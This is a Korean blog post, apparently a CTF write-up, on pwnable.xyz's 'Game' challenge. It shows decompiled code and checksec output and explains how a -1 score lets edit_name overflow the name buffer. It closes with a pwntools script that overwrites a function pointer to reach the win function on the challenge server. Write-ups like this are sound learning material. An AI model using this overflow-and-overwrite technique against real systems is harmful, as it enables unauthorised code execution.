pwnable.xyz - Game
2021. 8. 5. 00:12ㆍPwnable
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
puts("Shell we play a game?");
init_game();
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_int32();
if ( v3 != 1 )
break;
(*(cur + 3))();
}
if ( v3 > 1 )
{
if ( v3 == 2 )
{
save_game();
}
else
{
if ( v3 != 3 )
goto LABEL_13;
edit_name();
}
}
else
{
if ( !v3 )
exit(1);
LABEL_13:
puts("Invalid");
}
}
}
main코드는 위와 같고, 바이너리상 win함수가 존재하지만 실제 프로그램에서 직접적으로 호출하지 않는 것을 보아 got overwrite또는 ret을 덮어줘야 겠다는 유추가 가능하다.
⚡ root@9a02e0bc40b9 /home/ctf checksec challenge
[*] '/home/ctf/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
보호기법도 Partial RELRO 라 got_overwrite또한 가능할 것으로 보인다.
분석을 하면서 알아낸 사실을 정리하면
- 게임을 지게되면 -1 이라는 score를 가지게 되고, 이는 메모리상 0xFFFFFFFFFFFFFFFF이다.
- edit_name 함수에서 len(cur) 만큼 read가 가능한데 끝이 00이 아니게 이렇게 0xff~형식으로 값을 늘려서 초과해서 수정할수 있다.
edit_name 함수
ssize_t edit_name()
{
size_t v0; // rax
v0 = strlen(cur);
return read(0, cur, v0);
}
payload
from pwn import *
#r = process("./challenge")
r = remote("svc.pwnable.xyz", 30009)
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"
#0x04009D6
win_add = e.sym['win']
r.sendlineafter("Name: ", "A"*15)
r.sendlineafter("> ", "1")
r.sendlineafter("= ", "1")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "3")
pay = "A"*0x18 + "\xd6\x09"
r.send(pay)
r.sendlineafter("> ", "1")
r.recv()
'Pwnable' 카테고리의 다른 글
dreamhack.io - cpp_container_1 (0) | 2021.08.12 |
---|---|
HackCTF - Unexploitable #3 (0) | 2021.08.10 |
pwnable.xyz - GrownUp (0) | 2021.08.02 |
pwnable.xyz - two targets (0) | 2021.08.01 |
dreamhack.io - seccomp (0) | 2021.07.31 |